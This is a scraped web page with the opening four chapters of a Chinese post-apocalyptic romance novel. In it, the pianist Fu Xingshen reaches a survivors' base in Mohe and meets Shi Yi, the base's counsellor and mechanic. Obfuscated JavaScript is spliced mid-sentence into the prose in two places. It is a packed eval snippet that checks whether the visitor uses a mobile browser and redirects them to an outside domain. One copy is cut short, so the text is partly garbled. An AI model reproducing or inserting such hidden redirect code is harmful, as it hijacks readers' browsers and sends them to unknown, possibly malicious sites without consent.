《遗落方舟[末世]》 1. 第 1 章 公元2503年地球资源宣告枯竭,地球联合政府正式宣布人类进入“末日纪元”,启动【方舟计划】开始漫长的星际航行企图在茫茫太空中寻找人类新的家园…… 2513年、末日纪元的第十个年头,万众瞩目的方舟彻底建成开启远航,幸运的人已乘方舟远去。 留下的却是九千万个枯槁的灵魂,和被掩埋在黄沙下日渐崩碎的旧日的文明。 这是方舟远行的第263天。 地球上仅存的能源已经消耗殆尽,破败的城市中偶尔能看到有流亡者钻进废墟里寻找物资,然而往往收获寥寥。 但对于某一些人来说,他们还有另外一种获取物资的简单方式—— “砰!砰砰——!” 几声如炮仗一般的炸响惊起停立在建筑钢筋上梳理羽毛的乌鸦,凌乱的黑羽撕裂天空。 嘶哑的鸦声中,傅行深背起行囊跨出废墟,残阳如血,在他的身后躺着几具染血的尸体,皆被手|枪一弹洞穿颅骨! …… 半小时前—— “大哥,这已经是这片区最后一只肥羊了,咱们下面该去哪儿?” 一群人手里还握着沾血的匕首围在一具尚还温热的尸体旁开会,他们的行囊里装着刚刚搜刮来的新鲜物资。 这是一伙专靠截杀流亡者获取生存资源的匪徒。 被叫做“大哥”的刀疤脸蹲在一处坍塌的水泥围墙边抽烟。 听到问话,他站起身来一脚碾灭烟屁股,沉声说道: “老二打听到消息这附近来了个年轻人,据说先前是个什么什么音乐家总之身上带的东西不少,而且还是独身一个人。” “竟有这样的好事?!一个臭搞艺术的也敢一个人来这,大哥怎么说,去瞧瞧?” 他们这种人早就尝到了杀人舔包的甜头,面对到手的肥羊哪有不宰的道理? 刀疤脸拎起脚边血迹斑斑的砍刀带头走在最前面,向着那个人栖息的矮楼走去。 "走,去看看那位音乐家给咱们带了什么好东西……" 如果提前看过傅行深的行囊那么他们注定会失望。 作为在末世没什么谋生手段的傅行深,看似鼓鼓囊囊的背包里只有最简陋的干面包和淡水,还有几本已经被翻得卷了边的琴谱。 因此当这群人冲到傅行深面前举着刀喝令他交出物资时,傅行深索性直接打开包裹给他们看,示意自己这里没什么值钱玩意儿,连吃的都少得可怜。 刀疤脸没想到他们倒霉撞上了个贫困户,但也没办法,他们总不能空手而归。 他决定杀掉这个小子,然后雁过拔毛带走他的全部行李…… 于是一声爆喝便带着几个弟兄提起匕首朝傅行深冲了上去! 一个看起来凶点的艺术家罢了,不比刚才那个码头工人好收拾? “啧,都说了我也穷得揭不开锅还要上来抢,你们就没一点江湖道义吗?” 傅行深看着冲上前的几个人没有惊慌,反倒不紧不慢地将背包丢去身后角落里,随后手指关节舒张后猝然攥紧,一拳猛击在了为首刀疤脸的腹部! 刀疤脸登时惨叫一声蜷下身子冷汗直流! “你!” 看走眼了!这小子不是个好收拾的善茬! 他连忙扭头冲愣在身后的几个弟兄大喊: “愣着干什么?一起上!装成什么狗屁艺术家他身上肯定有好货!” 一句话点醒了犹豫不前的同伴。 于是几人又端起短刀杀了上去,这人就是再能耐还能干得过他们这群拿着刀的亡命徒? 可惜他们又一次失策了。 只见孤身一人没有利器傍身的傅行深毫不躲闪地迎着刀刃大步上前,一个跨步闪身躲过刀疤脸的砍劈,随后侧转一记肘击撞在身侧一人的胸口。 细微的骨裂声伴随着那人的惨叫响起,傅行深转身借力跃起,横腿劲扫将另一侧的歹徒踢翻在地,正面对上最后一个持刀对峙的劫匪。 “别随便欺负一个孤身流浪的可怜音乐家,他说不定认真起来你们谁也不是对手。” 傅行深说着提膝将这最后一个倒霉蛋踹翻在地。 不到短短十秒钟,方才还凶神恶煞的亡命歹徒们此刻一个个倒在地上痛呼哀嚎,连连求饶。 然而上帝可不会给他们改过自新的机会。 下一秒,傅行深从背包夹层中掏出一把改制的微声手|枪,上膛,拉开保险栓—— …… 傅行深收拾好背包决定离开这片辖区,在他的身后那群人的物资散落一地,打眼一看便知是从不同的人身上搜刮来的。 傅行深一样也没拿,他背包里的食物和水已经足够了。 自从能源枯竭后整个世界仿佛被套上了看不见的倒计时,在一声声绝望的哭嚎中慢慢走向灭亡。 天空也因此蒙上了一层洗不掉的灰翳,人们游荡在街头,脸上都是行将就木的麻木和冷漠。 这一天,当傅行深沿着手中末日前绘制的简陋地图走入京市管辖区时,被酸雨腐蚀得锈迹斑驳的广播传出“滋啦啦”的电流声。 傅行深抬头看了一眼,没再理会,低头继续研究地图上的路线。 他想去一处远离城市、风景优美的地方,在那里他将消耗掉自己最后一口面包和淡水,然后躺在枯黄衰败的草坪上,头顶乌鸦哀叫秃鹫盘旋。 “喂——” 广播中突然传出一道年轻女孩的声音,没等再有下文便被随之而来刺耳的电流声淹没。 “——喂,喂,这东西还管不管用了……有声音吗?” 空旷的街道上这一道声音突兀而吵闹,街上每隔百米就会有一个这样的广播扩音器,这声音响在每个人的头顶上方。 “能听见能听见!”广播那头有人激动地说。 “太好了!那试试调到我看看……” 扩音器中传出纸质书翻页特有的“哗哗”声,随后便是一句——“没错,调到EW001频道!” EW001,是全球范围公用频道。 人工智能失去效用后,仅有的机器只能使用手动调换频道,破旧的设备发出“咔哒咔哒”的声响。 下一刻,女孩的声音通过公用频道以光速跨越大洋山川,出现在每一台尚且能够使用的广播中—— “流落在世界各地的同胞们,请允许我向你们致以最崇高的祝愿。” “我们的世界正在瓦解,如大家所见,文明已经走向了衰竭,千百万年前上帝用一场洪水终结了这世间的罪恶,如今,我们也将淹没在这滚滚的洪流之中……” 广播在世界范围传播,塞维利亚教堂颓坯的围墙下有人掩面哭泣,高举着手中的银十字架哀求祈祷,却未曾有一束光照下来。 阴霾的天空之下从未出现过神迹。 “……救世的方舟已经远行,而我们还活着。我们曾经仰望星空,思考我们在宇宙中的位置,而现在我们只会低着头,担心如何在这片土地上活下去〔注.〕 我们有继续生存下去的权利,我们渴望被救赎,渴望温暖、渴望食物,我们挣扎在每一个能够喘息的瞬间。来吧,我深受苦难的同胞们,站起来吧,让我们手拉着手,给想要拼命活着的人们一丝希望,也给这个世界一个机会……” 广播那头的人言辞激昂,说出这段话后兀自平复了许久。 漫长的沉默里是全世界无数幸存者们犹疑又隐含希冀的神色。 是的,他们想要活下去,埋葬在这遍体鳞伤的末日尽头。 “北纬52°43’,东经123°07’,欢迎幸存者们加入。” 寂静的京市辖区街头,有个人无声地抬头凝视夜色下落满尘灰的广播,拿着地图的手微微攥紧,神色疑惑。 …… “北纬52°43’,东经123°07’,欢迎幸存者加入。” …… “北纬52°43’,东经123°07’,欢迎……” …… “北纬52°43’,东经……” 广播不分昼夜地播报着,莫斯科红场巨大的废墟下有人趁着夜色离开了防空洞,顶着肆虐的风雪向着那道坐标行进。 日光洒下照亮巴勒莫大教堂射手座的黯淡星图,虔诚的信徒垂手划十,“因父,及子,及圣神之名。护佑我等抵达庇佑之所,阿们。” …… 无数的幸存者背起干瘪的行囊,乘 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这样一个看上去就不好惹的人说他正在作曲,无异于屠户举着大刀告诉路人别出声,免得耽误自己绣花…… 下方的一群人面面相觑,不晓得这是什么末日冷笑话。 最开始喊出声的男人选择性地忽略了这一点,他将双手放在嘴边作喇叭状喊道: “对不住啊兄弟,不管你在上边干啥还是快点下来吧!我们要北上去‘坐标’,我看着附近就你一个人,要不跟我们一起走吧?” “去‘坐标’?” 傅行深闻声眯起眼睛。 “坐标”是幸存者们对广播中那道坐标所在地的简称,这几天他已经遇见过好几波要赶路北上的队伍,如今又遇到了一队人马。 他本想孤身一人前往那里去看上一眼,但此刻想了想还是改变了主意——他注意到这几个人的身后还有一辆越野车,想必赶路的速度比他两条腿走着去要快得多。 于是傅行深起身收拾好仅有的几样东西,几步跳跃落到了地面上, “一起走吧,路上也好有个照应。” 这个队伍人数不多也不少,三男两女,五个人齐刷刷盯着他干瘪的背包一阵无言。 方才他们可看得清楚,这人除了装进去一本书,背包里就只有个咬了几口的干面包和半瓶水。 “……” 到底是谁照应谁啊? 这一行人物资比较充足,甚至还有一辆破破烂烂的山地越野用来代步,可以说是相当奢侈了。 “可惜第三缸有点顶不上火,爬山越沟有点困难。看地图上画的前边不远就有个加油站,妈的前几个都被榨得一干二净这个高低得给老子剩一口……” 领头一手把着方向盘一手挂档,叼在嘴里的烟蒂缀着一大截烟灰,行过一处大坑一颠,掉落的烟灰险些把地图烧出个大洞。 一路上几人接着之前的话题聊途中的见闻,傅行深挨着车门垂着眼不说话,对他们的话题说不上多感兴趣,领队见状便问他, “兄弟我看你也没个同行的伙伴,你原先是打算一个人北上吗?” “对,遇上你们之前我在那片地方待了将近二十天,先前还有对母子在那片区域活动,本来说好一起走的,但后面他们改了主意不去坐标了。” 傅行深不知想到了什么眉头紧蹙,语气低沉下去, “他们觉得到那去也活不了多久。” 那对母子是清晨时分同傅行深告别的,母亲深知跟随大部队北上能得到的物资少之又少,而他们这样几乎不具备劳动力的人在基地这种按劳动分配物资的地方注定没有活路,因此选择向西边摸索寻求生路。 傅行深对此也很无奈,羸弱的母亲抱着只有两岁还在嗷嗷待哺的孩子,不知前路有多少艰险在等着他们,因此思虑再三他把仅剩的食物和水都给了他们。 至于他自己,如果能在食物消耗干净之前遇到北上的队伍带他一起走,自然是最好的…… 万一遇不到那他也只能自认倒霉。 好在天意还是眷顾他的。 “啊……你说的那对母子……” 队伍里那个年纪较小的姑娘神色似乎有些不对劲,觑着傅行深的脸色支支吾吾。 2. 第 2 章 “你们遇到他们了?” 傅行深看着这五人难看的面色,心中已经有了答案。 这群人看上去不像是会见死不救的主,可遇到那对母子却没有施以援手,那就只有一种可能…… 果不其然,他听见那小姑娘接着说道:“我们遇上他们的地方离你那边有将近一百公里远,应当是有人载着他们走了一段路,看她们孤儿寡母的……就……” 他们路过的时候那对母子的尸体就被扔在路边,母亲是被摔死的,过分瘦峭的身体上胸骨不自然地凹陷着,孩子身上没什么外伤,单纯是被黄沙吸入肺腔窒息而死的。 “那么点大的孩子没了母亲根本活不下去……” 傅行深没有说话,他陷入了一种自我批判的茫然之中,倘若他没有将物资送给那个母亲,他们会被暴徒盯上惹来杀身之祸吗? 他说不清楚,但总归是有关系的。 “唉兄弟你也别多想,要我说还多亏你那些物资,撞上那些丧天良的玩意儿可保不齐那孩子能留个全……” 领头是个大老粗什么话都往出蹦,被身侧副驾上坐的女人瞪了一眼后忙不迭闭上了嘴,干咳了两声不敢再说话。 可他不说傅行深也能猜到。 世界进入倒计时之后伴随城市制度的消亡,人类的道德法治也开始分崩离析彻底瓦解。 如今这个时代,生存成了人们每天一睁眼要思考的第一件事,也是许多恶徒杀人越货的绝佳借口。 不乏有人冲破道德和人性,茹毛饮血,彻底沦为丧失教化的野兽。 领头说得也对,万幸留下了全尸。 接下来的路程傅行深变得更加沉默寡言,阳光照在他脸上就像是一尊不会说话的雕塑,他的心底思绪杂乱,说不清此番前去“坐标”这个决定究竟是对是错。 “还有七十多公里咱们就到了啊,中午之前准能赶到目的地,我倒要看看这吵了我半个月的‘坐标’到底是个什么牛鬼蛇神根据地。” 领头说罢猛咂了几口烟,将烟蒂狠狠摁在中控台上,几个动作换挡踩油门。 老旧越野车的发动机发出不堪重负的“吭哧”声,粗犷的车胎翻卷起地上厚厚的沙土,向着目的地作起最后冲刺。 …… 和他们预估的有些出入,这里地处漠河,秋末冬初放在别的地区可能叶子都没落干净,这里却已经下了好几场大雪。 步行来的还好说,像傅行深他们开车赶到这里的反而犯了难—— 没有人专门清理这些积雪,路面也因此结了厚厚一层冰,轮胎甫一开上去就打滑,没办法几人只好收拾好行李徒步去“坐标”。 到的时候已是傍晚,黑蒙蒙的废墟上浮着一层光,走近一看才发现那竟然是一处军工基地! 众人不敢贸然接近,于是对照着地图看了半晌。 “就这儿没错了,没想到啊竟然真是个基地,这么大面积,保守算能住下好几万人。” 领头用手指在地图上画了老大一个圈,圈中的地方地图中显示是一片密林,实际上却是个隐蔽的军工厂。 这也不难猜出为什么这些人能找到连通全球频道的信号发射器了。 弹药枪支这些早在【方舟计划】开始就被清扫一空,但搬不走的大型设备却能在这种时候派上大用场。 搜查过行李之后傅行深等人便进入了基地,走进去才发现里边的人并不在少数,陪同他们的是基地的老人,一边引路一边给他们介绍。 “别看人这么多其实大部分都是这两天才新来的,你看这里里外外收拾行李忙乱的很,哎当心别撞上…… 这基地原始物资不多,现在看到的这些大部分都是后来的人从世界各地带过来的,你看看这有西班牙带来的火腿,意大利的扁面条,还有俄罗斯人搞的麦粥,这个味道有点怪,又放盐巴又放糖的,谨慎尝试啊……” 傅行深对这些都不甚感兴趣,左耳朵进右耳朵出,两只眼睛东看看西瞧瞧除了喧闹杂乱也没看出什么名堂来,正要不礼貌地打断带路人的话找个地方休息时,就看到院子靠拐角坐着一男一女。 男的背着光样子看不大清晰,女孩的样子倒是迎着篝火看得清楚,分明愁容满面泫然欲泣。 “啧。” 傅行深有些不解,生死存亡的关头还能兼顾谈恋爱,果然应了那句老话——浪漫至死不渝啊。 引路的人听到动静顺着他的视线看过去,一脸了然, “害,诸位可别误会啊,咱们基地虽然成立没几天但是邻里之间还是相当和谐的。那位是咱们基地里的心理安抚师,时意时先生。” “心理安抚师?还配备心理按摩呢,这么高级……” 队伍里的小姑娘嘟囔道。 “啊哈哈别误会,这可不比从前那么专业的,时先生也是业余帮忙进行一下心理安抚。你们也看到了,时先生身体不大好,算起来来基地也快有一个月时间了,当初发送坐标就是他给出的主意……” 傅行深顺着他的话观察这个叫“时先生”的,发现果然身体看上去比一般人要瘦削几分。 也不知道是靠什么活到了现在,靠他那一张“安抚心灵”的嘴吗? 傅行深不免在心底嗤笑。 “基地建立初期大家都是有力出力……我们倒是没什么但时先生他本人又实在不好意思只吃饭不干活,索性就当起了这个心理安抚师。 你还别说,虽比不上以前城里那种专业的,但你们也知道,这种时候人心惶惶还真缺他这样调节大家心态安抚情绪的人呢……” 说话间傅行深已经踱着步子走到了篝火旁,他俯视坐着的那道身影,无端就想起了白日里惨死的那对母子—— 那母亲终究是选错了路,倘若她知道来到基地仅凭一张巧嘴便能换来往后的安然度日,她早该来的。 何况傅行深见过她为了一口吃的徒手搬开百来斤重的水泥石板,怎么就不能在这里换一席生存之地呢? 她早就该来的。 傅行深沉默地看着篝火旁这个叫时意的家伙几句话间便让对面的女孩泄出一抹笑颜,心头涌上一股无名的悲戚和怒火。 他知道这无非是自己无力救那对母子所以无端地迁怒旁人,理智告诉他眼前这个人何尝不是在用自己的努力换取一份食物,却还是听见自己开口嘲讽道—— “有的人衣不蔽体饿死当途,有的人却可以凭着如簧巧舌混吃混喝,原谅我见识短,从前竟然没见过这种场面。” 篝火旁的男人听到这句话一顿,似乎正在思考面前这人是在说自己吗? 他缓缓抬起头看过来,一直背光隐藏在暗处的面容也在抬首的瞬间被篝火照亮。 这人长得可真不赖啊。 傅行深被艺术熏陶了二十余年的干瘪大脑里只能挤出这几个字来。 这人一看就是那种教书先生一般的温和斯文,和他这种穿上西装人模狗样,脱掉西装整个就一不法分子的悍厉模样完全不是一个路子。 “……” 一股迟来的羞愧感让傅行深恨不能一头扎进面前的火堆里。 “你说的不错,在这个基地里我的确是一个混吃混喝的角色,这点批评我接受。” “但是有一点我不认同,在我看来心理安抚就像是跌落深渊时伸出的一只手,你可以说它微不足道,但我认为有必要。” 昏黄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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基地里没有明确的话事人,但这个队伍是最有话语权威的,基地里一些简单的调配工作也是这个队伍在引导和组织。 他们也确实干得相当不错。 老张过来的时候正是午后,傅行深刚刚结束自己的那份工作,正坐在房间里吃午饭。 “怎么样,基地里的生活还习惯吧?听说你们那一队今天去矿井了,还难得拉回来了一车煤! 来来来,跟我说说,那地方雪都能埋一米深,你们怎么发现的那个矿井?哎呀,多亏这一车煤,不然这漠河的冬天就难熬咯……” 基地正在重建期,前不久的地动和风暴将这里搞得一塌糊涂。 加上军工厂虽然面积广,但初建时并没预料到有一天要容纳这么多人在其中生存活动,因此还需要将一些报废的设备搬走或者销毁,腾出地方搭建新的房子。 也正因如此,基地里的人们都要负担起一定的工作量。 完不成了也没有关系,总归日子在一天天变好,而没有比这更让人斗志昂扬的了。 傅行深不惊讶老张的消息还挺快,不过他二人平日里也没什么交集,老张要真想听故事谁不能讲给他? 所以这次来找他多半是有事要说。 老张见他不搭话也不见恼,往桌子上放了一个热腾腾的鸡腿,用油纸包着,散发出一股诱人的油香。 “快把那饼干放下,尝尝这个,香着呢!” 傅行深没动作。 基地里的伙食说不上好坏就是常规的大锅饭,但像这样难得一见的肉食一般都是留给身体比较虚弱的伤员或是妇女儿童的。 这鸡腿是哪来的? 像是看懂了他眼中的疑惑,老张也不卖关子,将这次来的目的摊开了说。 3. 第 3 章 “你也应当看见了,这几日里基地又来了不少人,我觉得是好事啊,大家在一起抱团才能活的长远不是? 加上马上就要冬天了,漠河的冬天可不是光靠咱们那几床大棉被就能熬过去的,多亏了你们发现的那个矿井,我和李队去看了,仔细着用够咱们过完这个冬天。” 那些煤有多少傅行深当时在场心里也是有数的,根本不够用。 别说挺过这个冬天,能维持一个月都算用得节省了。 可这个消息不能往外说。 那一车黑煤从基地门口轰隆隆驶过的时候不下百来人都看到了,虽然没有明面上说但眼见得大家脸上都轻松了不少,这是很难得的。 “就是有个问题得和你商量商量……你看啊,咱们基地现在有差不多六千多个人,每天这个人数还在增多,咱们就商量着这个住宿的分配上,得再调整调整。” 傅行深这下听懂了,意思就是要重新分配住宿。 他对这个没什么意见,他来得还算早所以幸运地分到一个小单间,如今要和其他人同住他也无所谓。 何况合住之后应当能减少不少用煤量,这对所有人来说都是个好事。 傅行深自然点头答应,这老张也是有意思,这么一点小事不好意思说还拿了个鸡腿过来,他看起来是有多不好说话? 傅行深在心底哭笑不得。 老张见他点头应下分外惊喜,“这么说你答应了?” “当然,不过是和别人合住罢了。” “那就好!那咱们就说定了啊,下午你就可以搬宿舍了,时先生说了他今天都在宿舍不出门,这间宿舍空下来后可以安置新来的那批人……” “等等,你说我要搬去和谁住?” 傅行深像是得了幻听症。 他没听错吧,他和那个叫时意的被分配在了一起? 那天他平白无故对时意一顿冷嘲热讽,结果人家非但没怪他反而表示理解万岁,这让傅行深无力招架的同时越发得有负罪感了…… 但今天,有人却告诉他他们两个即将要生活在一个屋檐下?! 不好意思他真的做不到。 “时意时先生啊,和你一屋还是他特地跟我申请的,怕你难为情,这不,还塞了个鸡腿让我带给你。” “?” 傅行深不明白了,他是狗吗,用根破鸡腿就想把他溜过去? 再说了,他们两个很熟吗?还特地申请要住一个屋……奇奇怪怪。 老张没有注意到傅行深犹疑不定的神色,满脸洋溢着欣喜,出门还不忘提醒傅行深: “鸡腿记得吃啊,趁热吃,香的嘞!” “……” 傍晚时分傅行深还是收拾行李搬去了时意的住所,敲门的时候里面不知道在干什么,半晌没动静。 “啧,到底是谁啊特意申请和我合住,结果这会儿又锁着门不让进,玩儿我呢?” 傅行深歪靠在门边,盯着紧闭的房门十分不悦。 这就是他报复的方式吗?手段幼稚不说,态度还差得可怜。 傅行深纡尊降贵又敲了下门,门内还是没有动静。 他不耐地眯上眼,在把门踹开和扭头走人之间挣扎徘徊, “我数到三,再不开门我就……” “吱呀”一声门打开了,打断了傅行深的话。 门内的时意应当是刚冲完澡,头发湿漉漉的还在滴着水,浑身冒着冷气,一双晶亮的眼泛着红,看起来冻得不轻。 “怎么这时候来?” 时意侧身让路,边往里走随口问了一句。 提着行李在门外寒风中等了许久的傅行深闻言都要气笑了,一个没忍住反讥道: “怎么?耽误你投胎了?” 说完这句立马就后悔了,他好像本来该跟人道个歉的…… 可时意压根没理会他的话。 这个时间点是基地晚饭的时间,劳累了一天的人们总会在这时候组织起来三三两两休闲娱乐,因此院子里此刻热闹非凡。 时意本意是没想到傅行深会趁着晚饭时间搬行李,没想到这话一问出来反倒激起了某人的脾气。 不过他可没有安抚的打算。 有些人需要心理安抚给予继续活下去的勇气,有的人纯粹闲得慌。 这般想着时意也不再管他,把手里的东西塞进傅行深手中,扭头往屋内走。 “备用钥匙,自己装好丢了不补。” 傅行深被时意冰凉的指尖冻得一激灵,又被他冷漠的态度刺得气闷,这是什么态度啊? 随后又看向掌心里的钥匙,揣进兜里的动作慎之又慎。 他有预感,如果真的弄丢了钥匙,时意真干得出把他一晚上锁门外的事。 …… 夜里,傅行深简单洗漱后躺到了床上。 这间屋子他仔细看了看,比他先前住的那间略微宽敞点,看格局应当是从前军工厂的值班寝室。 房间一左一右摆着两张行军床,一张木桌,两把椅子。 洗手台应当是从前就有,暴露在外的水管上锈迹斑斑,水龙头上接了一根水管,时意刚才应当就是用这个冲的澡。 傅行深从包里掏出翻得卷了边的曲谱,闭上眼睛开始练习,指尖搭在膝盖上轻巧却灵活地跃动着。 他从前坚持每晚都练习一个小时,这是他很久之前就养成的习惯,而今即便手边没有钢琴,这个习惯也没有落下。 窗外是火光熠熠的喧闹声,安静的房间里却只有他们两个人的呼吸此起彼伏。 时意平躺在床上闭着双眼,两只手规矩地叠放在小腹上,等了很久还没动静,于是提醒傅行深—— “关灯,我要睡觉了。” 傅行深充耳不闻,只当没听见。 开什么玩笑,这才晚上十点钟,正常人谁睡这么早? 时意以为傅行深没听到,又大声说了一遍, “傅行深,关灯。” 傅行深默了默还是选择睁开眼,他得吱一声,免得这人以为他真的耳聋了。 “时先生过得是老年人的生活吗,你听听外面的声音,这像是该睡觉的点?” 末日在即,人们一边艰难生活的同时也把每一天都当做最后一天过。 人生苦短及时行乐,怕是找遍天也找不出第二个像时意一样十点钟就入睡的奇葩。 时意可不管这些,当即反驳道: “研究表明人的正常作息应当在晚上十点到次日凌晨六点钟,而长期的熬夜会导致睡眠障碍,出现健忘、头晕、耳鸣、视力下降甚至增加患上老年痴呆的概率。” 说着扭头看向对面的傅行深,语气平平道: “这才是真正要变成老年人了。” “……” 傅行深有理由怀疑这人是在内涵自己。 见对面无话可说时意再度躺平,“劳烦关下灯吧,傅大爷。” 傅行深:“%##*&·*#%。” 翌日清晨,傅行深就坐上了开进山沟里的卡车开始了新一天的工作。 时值十月末,漠河清晨的空气中浮动着冻结的水汽,雾茫茫一片。 特别是登上雪山之后,卡车改制过的轮胎像巨兽的利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16161032|180638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爪牢牢抓握住山地,在发动机的轰鸣声中扬起半米高的雪尘。 傅行深坐在摇晃的车斗中,透过弥散的雾霭看向对面包裹严实却仍然被冻得面色苍白的时意,满脸写着不悦—— 所以这人跟过来干嘛? 没人解答傅行深的疑问。 大家坐在车斗里冻得缩手缩脚,眉毛和睫毛上结了一层薄薄的霜,加上卡车在山里颠簸沿途的冷风直往衣领子里钻,没人张嘴说话,冻嘴。 此行算上时意一共有七个人,众人今天的任务就是顺着昨天发现的矿井继续探索。 昨日那一车煤即便是两三个人住一间屋子,想要撑过这个严冬也是件相当困难的事,他们需要更多的煤炭。 卡车载着一车人在山里七拐八绕了好半天傅行深才渐渐觉着周遭的景色熟悉了起来。 终于,车停在了一个半掩着的洞口旁,傅行深活动活动僵硬的手脚,跟着队伍跳下了卡车。 积雪足有半米深,跳下车后膝盖以下都埋在干燥紧实的雪层中,那股冰冷不是靠厚实的棉裤就能抵挡得住的。 傅行深向时意那边看过去,果不其然看到他冻得紧锁眉头,好半晌迈不动步子。 傅行深在心底暗笑,刚想抬步走过去却被老张捷足先登,只好收回脚扭头跟在队伍后面下矿,这才是他今天要干的正经事。 临下去前他回头看了一眼,老张从卡车驾驶座拿了个箱子下来,递到了时意手中。 那箱子里是什么东西? 时意到底是干什么来的? 傅行深没想出个所以然来,索性将这一茬抛在脑后。 今天他们要顺着昨天的路线继续往深处走,探探矿井里面还有没有其他可以利用的资源。 矿井入口是一段垂直地面的深井,从前挖煤采矿的工人们可以通过机械升降机出入矿井,如今却行不通了。 好在他们今天准备足够充分,借助简易拼装的机械顺利下了矿。 “就是这里。” 众人沿着矿井走了一段路之后便停了下来。 “后边的路要开矿车才能走,喏,这玩意儿都不知道报废多少年了……” 说话的碰巧就是当时载傅行深来基地的那位领头,叫徐强,典型的西北大汉,直率又热情,一身蛮力,大家都叫他“强哥”。 他指着面前被锈蚀得不成样子的矿车满脸愁容,众人的视线越过他看向他身后,幽深的洞口中地面陡然消失,取而代之的是跨径起码有六七十米的深堑! 而连通两岸悬崖的只有一条原始而单薄的铁轨。 这座矿井中的部件还保留着上世纪的风格,木质的轨枕上甚至可以看到经年潮湿留下的瘢痕…… “啪嗒——” 有人好奇地往下扔了一块石头,几息之后方才从崖底传出微弱的响声。 这道崖深不可测,很难想象是怎么依靠人力和简单的机械挖凿出来的。 “乖乖嘞,这可怎么过去啊!” 众人望着深堑脸都要吓白了。 一旁的老张昨日刚来探过一次,他自己就是个机械师傅,想要修复那个锈蚀的矿车让它重新动起来并不困难,但他需要帮手。 可这一行人中没有谁有过机械方面的理论,平日里让帮忙修个车什么的自然不在话下,但面对这上世纪的老古董可不是简简单单拧拧螺丝的事。 他需要一个有着丰富理论基础和实践经验的人。 老张探着头,在人群中找了好半天才看到那个缩在最后面岩石上歇脚摸鱼的身影—— “时先生快来,这工作可得拜托你。” 4. 第 4 章 所有人都扭头诧异地看向时意,包括傅行深在内。 他竟然是一名机械师? 傅行深一头雾水。 诚然,他和时意也才见过两面,也才合住一屋不过一天,他理应对这个人不甚了解。 他只是有些纳闷,时意看上去可不像是经验老道技艺精湛的机械师,至少在他看来这人更像是坐在凳子上一坐就能坐一天的老学究。 不然,正常人谁每天十点就熄灯睡觉啊? 事实上,傅行深在某些方面感觉并没有错。 时意本身是有些缺乏运动的,因此一路上为了跟上队伍的节奏累得够呛,正坐在石头上休息就被喊着开工了。 他起身顶着众人诧异又好奇的目光走上前来。 “联接器这里插销链环生锈脱落了,重新更换一个就好。” 众人将矿车侧放在地面上,时意蹲下身检查过后道。 “车轮这里有几处凹陷,问题不是很大,行进间可能会有些颠簸。” 说着他脱下棉手套打开工具箱,和老张两个人取出带来的除锈剂在车身上喷涂打磨,特别是轮轴和转向架这些地方,为了防止行进途中不慎卡死二人花了不少力气。 在两人忙活修理矿车的功夫,其他人也拿起工具开始检查轨道,将翘起的轨枕重新固定,有些腐烂得十分严重的还需要更换掉,等两边忙活完时间已经过去了许久。 日暮西山,洁白的积雪上倒映着斜阳的暖意,老张透过矿井看了眼天色,遗憾地表示他们该返程了。 漠河的十月,只有呼啸的寒风和暴雪能够在夜色中游荡。 众人收拾好器具出了矿井,一冒头便被扑面而来的风雪打了个措手不及。 又下大雪了。 暮色下肆意纷飞的雪和山谷间料峭的风将这一片天地牢牢锁住,从山上向下望还能看到远处平原上绵延数十里的巨大裂痕。 那次地动几乎将这片土地撕裂成两半,如今这裂痕横贯额尔木河两侧,宛如天神挥剑而下将这条流淌数千年的大河斩断。 源源不断的河水从裂痕一侧泻下,流进深不可测的裂隙之中,形成飞流直下宽度超过100米的巨大瀑布,水声震耳欲聋。 而另一侧,河水枯竭,深褐色的河床裸露在空气中,像是一条巨大而丑陋的疤痕。 末日降临,地球上几乎每天都有大大小小的灾难在发生,天灾、人祸,数不胜数。 “这操蛋的世界啊。” 徐强把全身上下所有的兜全摸了个遍才找到一截烟,点着后叼在嘴里,“有时候真在想,干脆毁灭了算了,一了百了。” 老张沉默地拍了拍他的肩。 “可是不行啊,我没和你们说吧,我儿子进了【方舟计划】,臭小子运气从小就好,他妈和我都没进,就他选上了……他才七岁,还那么小。” 一口烟从徐强嘴里溢出,还不待飘远就被山上的风撕碎。 “但能活着就是好事,将来如果还能隔三岔五通个讯,那就更好了。” 没人问徐强孩子的妈妈去哪里了,只是后来偶尔看见他攥着手里的戒指抽烟时,便能察觉到那股蔓延在全人类心底的悲伤变得无处躲藏,它始终流淌在每一个人灰暗的眼底。 而此时,站在山上,众人望着那道裂痕,望着遍布疮痍的大地,望着和煦的夕阳,和阳光下闪着莹莹微光的雪看完了一场落日。 “走吧,别看了,明天太阳还会照常升起的。” 所有人都已经登上了车准备返程,时意朝还站在山顶的傅行深说道。 傅行深听到了却没有动弹,依旧双手插兜望着远处,那种神情时意从前从没在别人的脸上见到过,他看不透,却觉得此刻的傅行深像是要和太阳一道落下去。 傅行深是他见过的最奇怪的人,时意在心底琢磨。 他整日里翻看那本乐谱,时而兴起凭空弹奏某一片段时跃动的指尖让人毫不怀疑他曾是一名优秀的演奏家,据他自己说末日降临前他差点就能办一场环球巡演…… 可时意从没见过傅行深这样的艺术家,他见过傅行深脱下衣服时悍厉的模样,眉眼锋利得就像草原上从不失手的猎鹰,赤|裸上身时身体上不夸张却恰到好处的肌肉,像蓄势待发的猛豹,像一个暴徒。 可他又会偶尔流露出如此刻这般的神情,像是一泓死水,平静而忧郁的水面下是望不透的深渊,深渊里束缚着一头暴烈的野兽。 是什么让他这般矛盾? 这是时意遇到过的最难解答的谜题。 此刻他眼中的傅行深就如同造物主设下的一道悖论,自相矛盾的表象下又切实地存在着,这么令人心生好奇,忍不住去探究他,试图用已有的理论去诠释他。 这样的感觉令时意感到奇妙,他深知自己不能再无限制地探究傅行深,却还是被不知名的情绪诱哄着登上山顶,踏入傅行深的领地。 他说:“要四处去看看吗?到处走走。” 